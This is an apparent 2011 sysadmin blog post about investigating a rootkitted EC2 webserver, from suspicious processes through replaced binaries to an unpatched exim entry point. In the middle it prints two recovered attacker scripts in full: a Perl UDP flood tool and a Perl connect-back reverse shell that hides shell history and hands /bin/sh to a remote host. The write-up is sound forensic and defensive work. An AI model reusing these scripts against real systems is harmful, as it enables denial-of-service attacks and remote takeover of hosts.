root-kit-a-rama #
2011-02-14
Last week, I got a complaint that one of our webservers, hosted in EC2, was responding very slowly. After some fiddling around, I could eventually get ssh access, the box was just dragging along a bit. So, I check the uptime and it’s hovering around 6. I check top and there are a few perl processes chewing up the CPU. At first I think this is some backend web app stuff - some DB processing or something. What are these perl processes doing?
109 18282 1 0 Feb05 ? 00:00:00 perl nc.jpg 209.237.226.8 8081
109 18283 18282 0 Feb05 ? 00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ;
109 18287 18283 0 Feb05 ? 00:00:00 /bin/sh -i
109 18311 18287 5 Feb05 ? 03:34:11 perl udp.pl 79.114.119.157 o o
109 18317 1 0 Feb05 ? 00:00:00 /usr/sbin/httpd
109 18320 1 0 Feb05 ? 00:00:00 perl nc.jpg 209.237.226.8 8081
109 18321 18320 0 Feb05 ? 00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ;
109 18325 18321 0 Feb05 ? 00:00:00 /bin/sh -i
109 18328 18325 5 Feb05 ? 03:33:51 perl udp.pl 79.114.119.157 0 0
109 18388 1 0 Feb05 ? 00:00:00 /usr/sbin/httpd
109 18391 1 0 Feb05 ? 00:00:00 perl nc.jpg 209.237.226.8 8081
109 18392 18391 0 Feb05 ? 00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ;
109 18396 18392 0 Feb05 ? 00:00:00 /bin/sh -i
109 18397 18396 5 Feb05 ? 03:33:58 perl udp.pl 79.114.42.153 0 0
109 18427 1 0 Feb05 ? 00:00:00 /usr/sbin/httpd
109 18430 1 0 Feb05 ? 00:00:00 perl nc.jpg 209.237.226.8 8081
109 18431 18430 0 Feb05 ? 00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ;
109 18435 18431 0 Feb05 ? 00:00:00 /bin/sh -i
109 18438 18435 5 Feb05 ? 03:33:26 perl udp.pl 79.114.45.104 0 0
109 18463 1 0 Feb05 ? 00:00:00 /usr/sbin/httpd
109 18466 1 0 Feb05 ? 00:00:00 perl nc.jpg 209.237.226.8 8081
109 18467 18466 0 Feb05 ? 00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ;
109 18471 18467 0 Feb05 ? 00:00:00 /bin/sh -i
109 18472 18471 5 Feb05 ? 03:33:48 perl udp.pl 79.114.34.156 0 0
109 18532 1 0 Feb05 ? 00:00:00 /usr/sbin/httpd
109 18535 1 0 Feb05 ? 00:00:00 perl nc.jpg 209.237.226.8 8081
109 18536 18535 0 Feb05 ? 00:00:00 sh -c unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ;
109 18540 18536 0 Feb05 ? 00:00:00 /bin/sh -i
109 18541 18540 5 Feb05 ? 03:32:41 perl udp.pl 79.114.77.27 0 0
A quick find reveals the location of these files:
/var/tmp/udp.pl
/var/tmp/nc.jpg
There are a lot of suspicious things here already.
- The files are in /var/tmp - a world writeable space.
- The names of the scripts. One has a .jpg suffix, the other’s name, udp.pl, looks weird.
- The IP/port combos as arguments.
- If you look at the ppid/pid relationships, those shells - with the history being turned off - are being executed by the nc.jpg script.
I’ve captured the scripts running with arguments and I’m getting really suspicious now, so I kill them off. Let’s take a look at these files. First, udp.pl.
#!/usr/bin/perl
#####################################################
# udp flood.
######################################################
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "naturally\n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
Whoah. Well, this is obviously some sort of UDP flood script. The header is pretty blunt about that. It was being run with ‘0 0’ as the arguments which means it sends random packets to the target indefinitely. Is there anything else suspicious in /var/tmp?
ls -la /var/tmp
total 44
drwxrwxrwt 6 root root 4096 2011-02-08 11:39 .
drwxr-xr-x 16 root root 4096 2010-11-18 16:38 ..
drwx------ 2 Debian-exim Debian-exim 4096 2011-02-05 09:10 ...
-rw------- 1 Debian-exim Debian-exim 905 2011-01-29 21:15 nc.jpg
-rw------- 1 root root 12288 2011-02-08 11:39 .nc.jpg.swp
drwx------ 2 Debian-exim Debian-exim 4096 2011-02-05 09:17 .sys
drwx------ 2 Debian-exim Debian-exim 4096 2011-02-05 09:18 .system
-rw------- 1 Debian-exim Debian-exim 1062 2010-11-16 19:39 udp.pl
drwx------ 2 Debian-exim Debian-exim 4096 2011-02-05 09:18 .usr
There’s a directory called ‘…’. That’s obviously an attempt to conceal something. It doesn’t have any contents anymore, but someone must have forgotten to remove it.
Next I look at the other script, nc.jpg.
#!/usr/bin/perl
use Socket;
print "\n^[[0;33m[~] Incerc sa fac legatura =)^[[0m\n";
$host = $ARGV[0];
$port = $2;
if ($ARGV[1]) {
$port = $ARGV[1];
}
$proto = getprotobyname('tcp') || die("^[[0;31m[-] Nu merge treaba^[[0m\n\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("^[[0;31m[-] Eroare socket^[[0m\n\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("^[[0;31m[-] Conecktback Esuat^[[0m\n\n");
}
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
print "[+] ^[[0;32mConectback by ^[[0;36mZmEu^[[0;32m ... private version =)^[[0m\n";
system("unset HISTFILE; unset HISTSAVE ; PATH=/bin:/sbin:/usr/bin:/usr/sbin ; uname -a ; id ; w ; echo \"[+] ^[[0;32mTime to burn...^[[0m\";echo \"[+] ^[[0;31mDo not fucking press Ctrl C^[[0m\"; /bin/sh -i");
exit(0);
}
print "^[[0;32m[+] Conectback Reusit !^[[0m\n\n";
This one takes a little longer to figure out, but it looks like a simple shell back-door script. It opens a port on the remote IP, forks and drops into a shell. Remember those NOHIST shells? This is what was running them.
I do some ‘dig’s to check what the udp script was attacking. All of the IPs are owned by RDS Net, which is a large Romanian telecomms company. If you look at the nc.jpg script above you’ll see some Romanian. ‘Incerc sa fac legatura’ translates to ‘I try to do now’, according to google.
I’m doing some more poking around and I see that there’s a set of apache2 processes, fine, but there’s also some /usr/sbin/httpd processes hanging around too. What are these doing?
user@thebox:/var/tmp# ps -ef | grep httpd
root 9602 19236 0 12:27 pts/0 00:00:00 grep httpd
109 14406 1 13 Feb05 ? 10:53:22 /usr/sbin/httpd
109 14638 1 0 Feb05 ? 00:00:00 /usr/sbin/httpd
109 14641 1 0 Feb05 ? 00:00:05 ./httpd
109 17380 1 0 Feb05 ? 00:00:00 /usr/sbin/httpd
109 17383 1 0 Feb05 ? 00:00:05 ./httpd
user@thebox:/var/tmp# lsof -p 14406
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
perl 14406 Debian-exim cwd DIR 8,1 4096 16397 /var/tmp
perl 14406 Debian-exim rtd DIR 8,1 4096 2 /
perl 14406 Debian-exim txt REG 8,1 1306332 42151 /usr/bin/perl
perl 14406 Debian-exim mem REG 8,1 22056 43855 /usr/lib/perl/5.10.0/auto/Socket/Socket.so
perl 14406 Debian-exim mem REG 8,1 17924 43674 /usr/lib/perl/5.10.0/auto/IO/IO.so
perl 14406 Debian-exim DEL REG 8,1 41737 /lib/tls/i686/nosegneg/libcrypt-2.10.1.so
perl 14406 Debian-exim DEL REG 8,1 41735 /lib/tls/i686/nosegneg/libc-2.10.1.so
perl 14406 Debian-exim DEL REG 8,1 41749 /lib/tls/i686/nosegneg/libpthread-2.10.1.so
perl 14406 Debian-exim DEL REG 8,1 41739 /lib/tls/i686/nosegneg/libm-2.10.1.so
perl 14406 Debian-exim DEL REG 8,1 41738 /lib/tls/i686/nosegneg/libdl-2.10.1.so
perl 14406 Debian-exim DEL REG 8,1 24725 /lib/ld-2.10.1.so
perl 14406 Debian-exim 0r FIFO 0,6 0t0 9822365 pipe
perl 14406 Debian-exim 1w FIFO 0,6 0t0 9822366 pipe
perl 14406 Debian-exim 2w FIFO 0,6 0t0 9822366 pipe
perl 14406 Debian-exim 3u IPv4 10269494 0t0 TCP thebox.domain.whatever:44478->141.85.4.233:ircd (ESTABLISHED)
perl 14406 Debian-exim 5u IPv4 9822007 0t0 TCP thebox.domain.whateve:smtp->61.240.36.77:13457 (ESTABLISHED)
perl 14406 Debian-exim 6u IPv4 9822007 0t0 TCP thebox.domain.whateve:smtp->61.240.36.77:13457 (ESTABLISHED)
Huh, ircd. Not really apache, as I suspected. In fact, /usr/sbin/httpd doesn’t even exist on the filesystem.
I start googling around for guidance. Looks like a common set of issues. Various pages tell me to look at:
cat /etc/init.d/xfs3
/usr/include/sslv3/dropbear
/usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP
/usr/include/sslv3/dropbear
/usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP
Right, so someone has installed a bogus rc script to start up dropbear and setup some firewall rules.
It’s likely that the system commands have now been comprimised. So I compare the timestamp of the rc script, which I know is bogus, to other commands on the box:
ls -l /etc/init.d/xfs3
-rwxr-xr-x 1 root root 178 2010-12-16 05:55 /etc/init.d/xfs3
root@helpdesk:/var/tmp# find / -mount -ls | grep "05:55"
16511 4 drwxr-xr-x 2 root root 4096 Dec 16 05:55 /var/lib/update-rc.d
16567 4 -rw-r--r-- 1 root root 26 Dec 16 05:55 /var/lib/update-rc.d/xfs3
8314 416 -rwxr-xr-x 1 root root 418436 Dec 16 05:55 /sbin/sysctl
81921 4 drwxr-xr-x 2 root root 4096 Dec 16 05:55 /bin
82001 516 -rwxr-xr-x 1 root root 521980 Dec 16 05:55 /bin/ps
81975 444 -rwxr-xr-x 1 root root 448584 Dec 16 05:55 /bin/kill
224220 4 -rwxrwxrwx 1 www-data www-data 552 Feb 2 05:55 /home/helpdesk/upload/__swift/cache/fc658f306a72decedc18e0edf099e65c.php
224221 4 -rwxrwxrwx 1 www-data www-data 859 Feb 2 05:55 /home/helpdesk/upload/__swift/cache/3af25e5bcd90c255dc0eb0d4f9b4e5c3.php
90754 4 -rwxr-xr-x 1 root root 178 Dec 16 05:55 /etc/init.d/xfs3
122886 4 -rw------- 1 root root 1268 Dec 16 05:55 /root/.ssh/authorized_keys
42260 472 -rwxr-xr-x 1 root root 476504 Dec 16 05:55 /usr/bin/w
42163 448 -rwxr-xr-x 1 root root 451624 Dec 16 05:55 /usr/bin/pmap
42492 528 -rwxr-xr-x 1 root root 533592 Dec 16 05:55 /usr/bin/top
42236 444 -rwxr-xr-x 1 root root 448584 Dec 16 05:55 /usr/bin/skill
42185 472 -rwxr-xr-x 1 root root 477892 Dec 16 05:55 /usr/bin/pwdx
42003 428 -rwxr-xr-x 1 root root 430772 Dec 16 05:55 /usr/bin/free
42237 508 -rwxr-xr-x 1 root root 515552 Dec 16 05:55 /usr/bin/slabtop
42525 428 -rwxr-xr-x 1 root root 432704 Dec 16 05:55 /usr/bin/vmstat
42156 544 -rwxr-xr-x 1 root root 549972 Dec 16 05:55 /usr/bin/pgrep
42490 428 -rwxr-xr-x 1 root root 430804 Dec 16 05:55 /usr/bin/tload
42531 508 -rwxr-xr-x 1 root root 514864 Dec 16 05:55 /usr/bin/watch
41289 444 -rwxr-xr-x 1 root root 448584 Dec 16 05:55 /usr/bin/snice
42519 424 -rwxr-xr-x 1 root root 427600 Dec 16 05:55 /usr/bin/uptime
41263 544 -rwxr-xr-x 1 root root 549972 Dec 16 05:55 /usr/bin/pkill
183020 4 -rw-r--r-- 1 root root 18 Dec 16 05:55 /usr/include/mysql/mysql.hh1
Gah, lots of things which are likely ‘replaced’. Let’s try and fix them. Would be nice to be sure that ps, say, isn’t trimming the output a little. I use apt-get’s ‘–reinstall’ option.
root@helpdesk:/var/cache/apt/archives# sudo apt-get --reinstall install procps
Reading package lists... Done
Building dependency tree
... blah blah blah ...
dpkg: error processing /var/cache/apt/archives/procps_1%3a3.2.8-1ubuntu3_i386.deb (--unpack):
unable to make backup link of `./sbin/sysctl' before installing new version: Operation not permitted
dpkg-deb: subprocess paste killed by signal (Broken pipe)
dpkg: error while cleaning up:
subprocess new post-removal script returned error exit status 1
Errors were encountered while processing:
/var/cache/apt/archives/procps_1%3a3.2.8-1ubuntu3_i386.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)
OK, so apt-get cannot remove the old file from the package. ‘Someone’ must have messed with the attributes.
chattr -i -a /sbin/sysctl
This fixes it, but another it then fails on another file, then another, …
Several iterations later, it passes.
So, I now have a box that’s in better shape, but, really, I can never really trust it again. Who know’s what else has been messed with. I need to create a new system from scratch and migrate my data over to that. Now I’ve got a greater appreciation for why isos, amis, whatever are distributed with md5 checksums.
I do some more poking around a realise that those httpd processes aren’t showing up any more. Looks like my bogus ‘ps’ was renaming them from perl httpd in an attempt to conceal them. Weird then that they didn’t also hack ’top’ to do the same thing. ’top’ was changed in some way, you can see from the timestamp above. Also, if you do a ‘file /proc//exe’ it will tell you what is being run on the filesystem - this one is a bit more obscure, so even a more sophisticated root-kit than this might miss it.
How did they get in? Well, if you look at some of the output above, you’ll see that a lot of the processes are owned by the user ‘Debian-exim’. The version of exim on this box has a know exploit, and they must have got in that way. Again, this highlights the importance of having a good patching policy where you keep things up-to-date. Interestingly, I tried both rkhunter and chkrootkit, on a system which I was sure was comprimised, and neither really threw up any red flags.